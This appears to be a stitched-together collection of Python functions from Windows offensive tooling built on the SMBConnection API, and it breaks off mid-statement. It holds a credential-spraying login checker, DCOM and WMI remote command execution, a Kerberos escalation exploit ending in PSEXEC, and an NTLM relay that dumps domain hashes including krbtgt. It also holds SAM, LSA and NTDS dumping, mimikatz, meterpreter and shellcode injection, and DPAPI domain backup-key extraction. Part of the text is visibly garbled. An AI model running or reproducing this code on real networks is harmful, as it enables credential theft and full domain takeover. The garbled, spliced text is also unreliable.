def login(host, args): try: smbconn = SMBConnection(host, host, timeout=args.timeout) # throws socket.error except Exception as e: sys.stdout.write('{} {}\\{} {}\n'.format( host, args.domain, args.username + ':' + args.password, 'ConnectionError')) return error_code = STATUS_SUCCESS try: if args.nthash: smbconn.login(args.username, '', nthash=args.password, domain=args.domain) elif args.lmhash: smbconn.login(args.username, '', lmhash=args.password, domain=args.domain) else: smbconn.login(args.username, args.password, domain=args.domain) except impacket.smbconnection.SessionError as e: error_code = e.getErrorCode() if error_code != STATUS_SUCCESS: status = 'LoginError' if error_code == STATUS_LOGON_FAILURE: status = 'Failure' if args.domain != '.' and smbconn.getServerDomain() != '': sys.stdout.write('{} {}\\{} {}\n'.format( host, args.domain, args.username + ':' + args.password, status)) raise DomainLoginError( 'Aborting: domain creds are invalid, preventing lockout') sys.stdout.write('{} {}\\{} {}\n'.format( host, args.domain, args.username + ':' + args.password, status)) return try: # for s in smbconn.listShares(): # print(s['shi1_netname'][:-1]) smbconn.connectTree(r'ADMIN$') status = 'Success:ADMIN' except Exception as e: error_code = e.getErrorCode() if error_code != STATUS_SUCCESS: status = 'ConnectTreeError ' + hex(error_code) if smbconn.isGuestSession(): status = 'Guest' elif error_code == STATUS_ACCESS_DENIED: status = 'Success' elif error_code == STATUS_BAD_NETWORK_NAME: # ADMIN$ doesn't exist, probably Samba status = 'ShareNameError' sys.stdout.write('{} {}\\{} {}\n'.format( host, args.domain, args.username + ':' + args.password, status)) try: smbconn.logoff() except: pass
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: dispParams = DISPPARAMS(None, False) dispParams['rgvarg'] = NULL dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 0 dispParams['cNamedArgs'] = 0 if self.__dcomObject == 'ShellWindows': # ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2) iInterface = dcom.CoCreateInstanceEx( string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Item', )) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams, 0, [], []) iItem = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) resp = iItem.GetIDsOfNames(('Document', )) resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = None elif self.__dcomObject == 'ShellBrowserWindow': # ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2) iInterface = dcom.CoCreateInstanceEx( string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document', )) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = iMMC.GetIDsOfNames(('Quit', ))[0] elif self.__dcomObject == 'MMC20': iInterface = dcom.CoCreateInstanceEx( string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document', )) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = iMMC.GetIDsOfNames(('Quit', ))[0] else: logging.fatal('Invalid object %s' % self.__dcomObject) return iDocument = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) if self.__dcomObject == 'MMC20': resp = iDocument.GetIDsOfNames(('ActiveView', )) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iActiveView = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames( ('ExecuteShellCommand', ))[0] self.shell = RemoteShellMMC20( self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection) else: resp = iDocument.GetIDsOfNames(('Application', )) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iActiveView = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames( ('ShellExecute', ))[0] self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection) if self.__command != ' ': self.shell.onecmd(self.__command) if self.shell is not None: self.shell.do_exit('') else: self.shell.cmdloop() except (Exception, KeyboardInterrupt), e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() if self.shell is not None: self.shell.do_exit('') logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1)
def exploit(self): if self.__kdcHost is None: getDCs = True self.__kdcHost = self.__domain else: getDCs = False self.__domainSid, self.__rid = self.getUserSID() try: self.__forestSid = self.getForestSid() except Exception as e: # For some reason we couldn't get the forest data. No problem, we can still continue # Only drawback is we won't get forest admin if successful logging.error('Couldn\'t get forest info (%s), continuing' % str(e)) self.__forestSid = None if getDCs is False: # User specified a DC already, no need to get the list self.__domainControllers.append(self.__kdcHost) else: self.__domainControllers = self.getDomainControllers() userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) for dc in self.__domainControllers: logging.info('Attacking domain controller %s' % dc) self.__kdcHost = dc exception = None while True: try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, self.__lmhash, self.__nthash, None, self.__kdcHost, requestPAC=False) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash == '' and self.__nthash == '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) continue else: exception = str(e) break else: exception = str(e) break # So, we have the TGT, now extract the new session key and finish asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0] # If the cypher in use != RC4 there's gotta be a salt for us to use salt = '' if asRep['padata']: for pa in asRep['padata']: if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value: etype2 = decoder.decode(pa['padata-value'][2:], asn1Spec = ETYPE_INFO2_ENTRY())[0] salt = etype2['salt'].prettyPrint() cipherText = asRep['enc-part']['cipher'] # Key Usage 3 # AS-REP encrypted part (includes TGS session key or # application session key), encrypted with the client key # (Section 5.4.2) if self.__nthash != '': key = Key(cipher.enctype,self.__nthash) else: key = cipher.string_to_key(self.__password, salt, None) plainText = cipher.decrypt(key, 3, cipherText) encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0] authTime = encASRepPart['authtime'] serverName = Principal('krbtgt/%s' % self.__domain.upper(), type=constants.PrincipalNameType.NT_PRINCIPAL.value) tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey, authTime) # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value) try: tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain, self.__kdcHost, tgs, cipher, sessionKey) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash == '' and self.__nthash == '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) else: exception = str(e) break else: exception = str(e) break else: # Everything went well, let's save the ticket if asked and leave if self.__writeTGT is not None: from impacket.krb5.ccache import CCache ccache = CCache() ccache.fromTGS(tgs, oldSessionKey, sessionKey) ccache.saveFile(self.__writeTGT) break if exception is None: # Success! logging.info('%s found vulnerable!' % dc) break else: logging.info('%s seems not vulnerable (%s)' % (dc, exception)) if exception is None: TGS = {} TGS['KDC_REP'] = tgsCIFS TGS['cipher'] = cipher TGS['oldSessionKey'] = oldSessionKeyCIFS TGS['sessionKey'] = sessionKeyCIFS from impacket.smbconnection import SMBConnection if self.__targetIp is None: s = SMBConnection('*SMBSERVER', self.__target) else: s = SMBConnection('*SMBSERVER', self.__targetIp) s.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, TGS=TGS, useCache=False) if self.__command != 'None': executer = PSEXEC(self.__command, username, domain, s, TGS, self.__copyFile) executer.run(self.__target)
def test_aliasconnection(self): smb = SMBConnection('*SMBSERVER', self.machine, preferredDialect=self.dialects, sess_port=self.sessPort) smb.login(self.username, self.password, self.domain) smb.listPath(self.share, '*') smb.logoff()
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process, _ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, smbConnection) if self.__command != ' ': self.shell.onecmd(self.__command) else: self.shell.cmdloop() except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1) if smbConnection is not None: smbConnection.logoff() dcom.disconnect()
def sendAuth(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', authenticateMessageBlob[:1] )[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) auth_data = respToken2['ResponseToken'] else: auth_data = authenticateMessageBlob remoteOps = None try: signingkey = self.netlogonSessionKey(serverChallenge, authenticateMessageBlob) # Something failed if signingkey == 0: return self.session.set_session_key(signingkey) authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(auth_data) # Recalc mic authenticateMessage['MIC'] = b'\x00' * 16 if authenticateMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0: authenticateMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL newmic = ntlm.hmac_md5( signingkey, self.negotiateMessage + self.challenge.getData() + authenticateMessage.getData()) authenticateMessage['MIC'] = newmic self.session.sendBindType3(authenticateMessage.getData()) # Now perform DRS bind # This code comes from secretsdump directly request = drsuapi.DRSBind() request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID drs = drsuapi.DRS_EXTENSIONS_INT() drs['cb'] = len(drs) #- 4 drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \ drsuapi.DRS_EXT_STRONG_ENCRYPTION drs['SiteObjGuid'] = drsuapi.NULLGUID drs['Pid'] = 0 drs['dwReplEpoch'] = 0 drs['dwFlagsExt'] = 0 drs['ConfigObjGUID'] = drsuapi.NULLGUID # I'm uber potential (c) Ben drs['dwExtCaps'] = 0xffffffff request['pextClient']['cb'] = len(drs) request['pextClient']['rgb'] = list(drs.getData()) resp = self.session.request(request) # Initialize remoteoperations if self.serverConfig.smbuser != '': smbConnection = SMBConnection(self.target.netloc, self.target.netloc) smbConnection.login(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \ self.serverConfig.smblmhash, self.serverConfig.smbnthash) remoteOps = RemoteOperations(smbConnection, False) else: remoteOps = PatchedRemoteOperations(None, False) # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data. drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT() # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right. ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * ( len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb']) drsExtensionsInt.fromString(ppextServer) if drsExtensionsInt['dwReplEpoch'] != 0: # Different epoch, we have to call DRSBind again LOG.debug( "DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt['dwReplEpoch']) drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch'] request['pextClient']['cb'] = len(drs) request['pextClient']['rgb'] = list(drs.getData()) resp = self.session.request(request) remoteOps._RemoteOperations__hDrs = resp['phDrs'] domainName = authenticateMessage['domain_name'].decode('utf-16le') # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges resp = drsuapi.hDRSDomainControllerInfo( self.session, remoteOps._RemoteOperations__hDrs, domainName, 2) # LOG.debug('DRSDomainControllerInfo() answer') # resp.dump() if resp['pmsgOut']['V2']['cItems'] > 0: remoteOps._RemoteOperations__NtdsDsaObjectGuid = resp[ 'pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid'] else: LOG.error("Couldn't get DC info for domain %s" % domainName) raise Exception('Fatal, aborting') remoteOps._RemoteOperations__drsr = self.session # Initialize NTDSHashes object if self.serverConfig.smbuser != '': # We can dump all :) nh = NTDSHashes(None, None, isRemote=True, history=False, noLMHash=False, remoteOps=remoteOps, useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName='hashes', justUser=None, printUserStatus=False) nh.dump() else: # Most important, krbtgt nh = NTDSHashes(None, None, isRemote=True, history=False, noLMHash=False, remoteOps=remoteOps, useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName='hashes', justUser=domainName + '/krbtgt', printUserStatus=False) nh.dump() # Also important, DC hash (to sync fully) av_pairs = authenticateMessage['ntlm'][44:] av_pairs = AV_PAIRS(av_pairs) serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode( 'utf-16le') nh = NTDSHashes(None, None, isRemote=True, history=False, noLMHash=False, remoteOps=remoteOps, useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName='hashes', justUser=domainName + '/' + serverName + '$', printUserStatus=False) nh.dump() # Finally, builtin\Administrator providing it was not renamed try: nh = NTDSHashes(None, None, isRemote=True, history=False, noLMHash=False, remoteOps=remoteOps, useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName='hashes', justUser=domainName + '/Administrator', printUserStatus=False) nh.dump() except Exception: LOG.error('Could not dump administrator (renamed?)') return None, STATUS_SUCCESS except Exception as e: traceback.print_exc() finally: if remoteOps is not None: remoteOps.finish()
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True if options.hashes is not None: lmhash, nthash = options.hashes.split(':') else: lmhash = '' nthash = '' try: smbClient = SMBConnection(address, options.target_ip, sess_port=int(options.port))#, preferredDialect=SMB_DIALECT) if options.k is True: smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip) else: smbClient.login(username, password, domain, lmhash, nthash) if smbClient.getDialect() != SMB_DIALECT: # Let's disable SMB3 Encryption for now smbClient._SMBConnection._Session['SessionFlags'] &= ~SMB2_SESSION_FLAG_ENCRYPT_DATA pipeDream = PIPEDREAM(smbClient, options) pipeDream.run() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e))
def _get_groupsxml(self, groupsxml_path, gpo_display_name): gpo_groups = list() content_io = StringIO() groupsxml_path_split = groupsxml_path.split('\\') gpo_name = groupsxml_path_split[6] target = groupsxml_path_split[2] share = groupsxml_path_split[3] file_name = '\\'.join(groupsxml_path_split[4:]) smb_connection = SMBConnection(remoteName=target, remoteHost=target) # TODO: kerberos login smb_connection.login(self._user, self._password, self._domain, self._lmhash, self._nthash) smb_connection.connectTree(share) try: smb_connection.getFile(share, file_name, content_io.write) except SessionError: return list() content = content_io.getvalue().replace('\r', '') groupsxml_soup = BeautifulSoup(content, 'xml') for group in groupsxml_soup.find_all('Group'): members = list() memberof = list() local_sid = group.Properties.get('groupSid', str()) if not local_sid: if 'administrators' in group.Properties['groupName'].lower(): local_sid = 'S-1-5-32-544' elif 'remote desktop' in group.Properties['groupName'].lower(): local_sid = 'S-1-5-32-555' else: local_sid = group.Properties['groupName'] memberof.append(local_sid) for member in group.Properties.find_all('Member'): if not member['action'].lower() == 'add': continue if member['sid']: members.append(member['sid']) else: members.append(member['name']) if members or memberof: # TODO: implement filter support (seems like a pain in the ass, # I'll do it if the feature is asked). PowerView also seems to # have the barest support for filters, so ¯\_(ツ)_/¯ gpo_group = GPOGroup(list()) setattr(gpo_group, 'gpodisplayname', gpo_display_name) setattr(gpo_group, 'gponame', gpo_name) setattr(gpo_group, 'gpopath', groupsxml_path) setattr(gpo_group, 'members', members) setattr(gpo_group, 'memberof', memberof) gpo_groups.append(gpo_group) return gpo_groups
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx( string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document', )) dispParams = DISPPARAMS(None, False) dispParams['rgvarg'] = NULL dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 0 dispParams['cNamedArgs'] = 0 resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iDocument = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) resp = iDocument.GetIDsOfNames(('ActiveView', )) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iActiveView = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames( ('ExecuteShellCommand', ))[0] pQuit = iMMC.GetIDsOfNames(('Quit', ))[0] self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection) if self.__command != ' ': self.shell.onecmd(self.__command) if self.shell is not None: self.shell.do_exit('') else: self.shell.cmdloop() except (Exception, KeyboardInterrupt), e: #import traceback #traceback.print_exc() if self.shell is not None: self.shell.do_exit('') logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1)
def connect(host): ''' My imagination flowed free when coming up with this name This is where all the magic happens ''' try: smb = SMBConnection(host, host, None, settings.args.port) try: smb.login('' , '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass domain = settings.args.domain s_name = smb.getServerName() if not domain: domain = smb.getServerDomain() if not domain: domain = s_name print_status(u"{}:{} is running {} (name:{}) (domain:{})".format(host, settings.args.port, smb.getServerOS(), s_name, domain)) try: ''' DC's seem to want us to logoff first Windows workstations sometimes reset the connection, so we handle both cases here (go home Windows, you're drunk) ''' smb.logoff() except NetBIOSError: pass except socket.error: smb = SMBConnection(host, host, None, settings.args.port) if (settings.args.user is not None and (settings.args.passwd is not None or settings.args.hash is not None)) or settings.args.combo_file: smb = smart_login(host, smb, domain) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload: rfs = RemoteFileSystem(host, smb) if settings.args.delete: rfs.delete() if settings.args.download: rfs.download() if settings.args.upload: rfs.upload() if settings.args.list: rfs.list() if settings.args.enum_shares: shares = SHAREDUMP(smb) shares.dump(host) if settings.args.enum_users: users = SAMRDump('{}/SMB'.format(settings.args.port), settings.args.user, settings.args.passwd, domain, settings.args.hash, settings.args.aesKey, settings.args.kerb) users.dump(host) if settings.args.sam or settings.args.lsa or settings.args.ntds: dumper = DumpSecrets(host, settings.args.port, 'logs/{}'.format(host), smb, settings.args.kerb) dumper.do_remote_ops() if settings.args.sam: dumper.dump_SAM() if settings.args.lsa: dumper.dump_LSA() if settings.args.ntds: dumper.dump_NTDS(settings.args.ntds, settings.args.ntds_history, settings.args.ntds_pwdLastSet) dumper.cleanup() if settings.args.pass_pol: pass_pol = PassPolDump('{}/SMB'.format(settings.args.port), settings.args.user, settings.args.passwd, domain, settings.args.hash, settings.args.aesKey, settings.args.kerb) pass_pol.dump(host) if settings.args.rid_brute: lookup = LSALookupSid(settings.args.user, settings.args.passwd, domain, '{}/SMB'.format(settings.args.port), settings.args.hash, settings.args.rid_brute) lookup.dump(host) if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers: rpc_query = RPCQUERY(settings.args.user, settings.args.passwd, domain, settings.args.hash) if settings.args.enum_sessions: rpc_query.enum_sessions(host) if settings.args.enum_disks: rpc_query.enum_disks(host) if settings.args.enum_lusers: rpc_query.enum_lusers(host) if settings.args.spider: smb_spider = SMBSPIDER(host, smb) smb_spider.spider(settings.args.spider, settings.args.depth) smb_spider.finish() if settings.args.wmi_query: wmi_query = WMIQUERY(settings.args.user, settings.args.passwd, domain, settings.args.hash, settings.args.kerb, settings.args.aesKey) wmi_query.run(settings.args.wmi_query, host, settings.args.namespace) if settings.args.check_uac: uac = UACdump(smb, settings.args.kerb) uac.run() if settings.args.enable_wdigest: wdigest = WdisgestEnable(smb, settings.args.kerb) wdigest.enable() if settings.args.disable_wdigest: wdigest = WdisgestEnable(smb, settings.args.kerb) wdigest.disable() if settings.args.service: service_control = SVCCTL(settings.args.user, settings.args.passwd, domain, '{}/SMB'.format(settings.args.port), settings.args.service, settings.args) service_control.run(host) if settings.args.command: EXECUTOR(settings.args.command, host, domain, settings.args.no_output, smb, settings.args.execm) if settings.args.pscommand: EXECUTOR(ps_command(settings.args.pscommand), host, domain, settings.args.no_output, smb, settings.args.execm) if settings.args.mimikatz: powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(powah_command.mimikatz(), host, domain, True, smb, settings.args.execm) if settings.args.mimikatz_cmd: powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb, settings.args.execm) if settings.args.powerview: #For some reason powerview functions only seem to work when using smbexec... #I think we might have a mistery on our hands boys and girls! powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(powah_command.powerview(settings.args.powerview), host, domain, True, smb, 'smbexec') if settings.args.inject: powah_command = PowerShell(settings.args.server, local_ip) if settings.args.inject.startswith('met_'): EXECUTOR(powah_command.inject_meterpreter(), host, domain, True, smb, settings.args.execm) if settings.args.inject == 'shellcode': EXECUTOR(powah_command.inject_shellcode(), host, domain, True, smb, settings.args.execm) if settings.args.inject == 'dll' or settings.args.inject == 'exe': EXECUTOR(powah_command.inject_exe_dll(), host, domain, True, smb, settings.args.execm) try: smb.logoff() except: pass except SessionError as e: print_error("{}:{} {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except NetBIOSError as e: print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except DCERPCException as e: print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except socket.error as e: if settings.args.verbose: print_error(str(e)) return
def run(self): if self.options.action.upper() == 'MASTERKEY': fp = open(options.file, 'rb') data = fp.read() mkf = MasterKeyFile(data) mkf.dump() data = data[len(mkf):] if mkf['MasterKeyLen'] > 0: mk = MasterKey(data[:mkf['MasterKeyLen']]) data = data[len(mk):] if mkf['BackupKeyLen'] > 0: bkmk = MasterKey(data[:mkf['BackupKeyLen']]) data = data[len(bkmk):] if mkf['CredHistLen'] > 0: ch = CredHist(data[:mkf['CredHistLen']]) data = data[len(ch):] if mkf['DomainKeyLen'] > 0: dk = DomainKey(data[:mkf['DomainKeyLen']]) data = data[len(dk):] if self.options.system and self.options.security: # We have hives, let's try to decrypt with them self.getLSA() decryptedKey = mk.decrypt(self.dpapiSystem['UserKey']) if decryptedKey: print('Decrypted key with UserKey') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return decryptedKey = mk.decrypt(self.dpapiSystem['MachineKey']) if decryptedKey: print('Decrypted key with MachineKey') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return decryptedKey = bkmk.decrypt(self.dpapiSystem['UserKey']) if decryptedKey: print('Decrypted Backup key with UserKey') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return decryptedKey = bkmk.decrypt(self.dpapiSystem['MachineKey']) if decryptedKey: print('Decrypted Backup key with MachineKey') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return elif self.options.key: key = unhexlify(self.options.key[2:]) decryptedKey = mk.decrypt(key) if decryptedKey: print('Decrypted key with key provided') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return elif self.options.pvk and dk: pvkfile = open(self.options.pvk, 'rb').read() key = PRIVATE_KEY_BLOB(pvkfile[len(PVK_FILE_HDR()):]) private = privatekeyblob_to_pkcs1(key) cipher = PKCS1_v1_5.new(private) decryptedKey = cipher.decrypt(dk['SecretData'][::-1], None) if decryptedKey: domain_master_key = DPAPI_DOMAIN_RSA_MASTER_KEY( decryptedKey) key = domain_master_key[ 'buffer'][:domain_master_key['cbMasterKey']] print('Decrypted key with domain backup key provided') print('Decrypted key: 0x%s' % hexlify(key).decode('latin-1')) return elif self.options.sid and self.options.key is None: # Do we have a password? if self.options.password is None: # Nope let's ask it from getpass import getpass password = getpass("Password:"******"Password:"******"G$BCKUPKEY_PREFERRED", "G$BCKUPKEY_P"): buffer = crypto.decryptSecret( connection.getSessionKey(), lsad.hLsarRetrievePrivateData(dce, resp['PolicyHandle'], keyname)) guid = bin_to_string(buffer) name = "G$BCKUPKEY_{}".format(guid) secret = crypto.decryptSecret( connection.getSessionKey(), lsad.hLsarRetrievePrivateData(dce, resp['PolicyHandle'], name)) keyVersion = struct.unpack('<L', secret[:4])[0] if keyVersion == 1: # legacy key backup_key = P_BACKUP_KEY(secret) backupkey = backup_key['Data'] if self.options.export: logging.debug( "Exporting key to file {}".format(name + ".key")) open(name + ".key", 'wb').write(backupkey) else: print("Legacy key:") print("0x%s" % hexlify(backupkey)) print("\n") elif keyVersion == 2: # preferred key backup_key = PREFERRED_BACKUP_KEY(secret) pvk = backup_key['Data'][:backup_key['KeyLength']] cert = backup_key['Data'][ backup_key['KeyLength']:backup_key['KeyLength'] + backup_key['CertificateLength']] # build pvk header (PVK_MAGIC, PVK_FILE_VERSION_0, KeySpec, PVK_NO_ENCRYPT, 0, cbPvk) header = PVK_FILE_HDR() header['dwMagic'] = 0xb0b5f11e header['dwVersion'] = 0 header['dwKeySpec'] = 1 header['dwEncryptType'] = 0 header['cbEncryptData'] = 0 header['cbPvk'] = backup_key['KeyLength'] backupkey_pvk = header.getData() + pvk # pvk blob backupkey = backupkey_pvk if self.options.export: logging.debug( "Exporting certificate to file {}".format(name + ".der")) open(name + ".der", 'wb').write(cert) logging.debug( "Exporting private key to file {}".format(name + ".pvk")) open(name + ".pvk", 'wb').write(backupkey) else: print("Preferred key:") header.dump() print("PRIVATEKEYBLOB:{%s}" % (hexlify(backupkey))) print("\n") return elif self.options.action.upper() == 'CREDENTIAL': fp = open(options.file, 'rb') data = fp.read() cred = 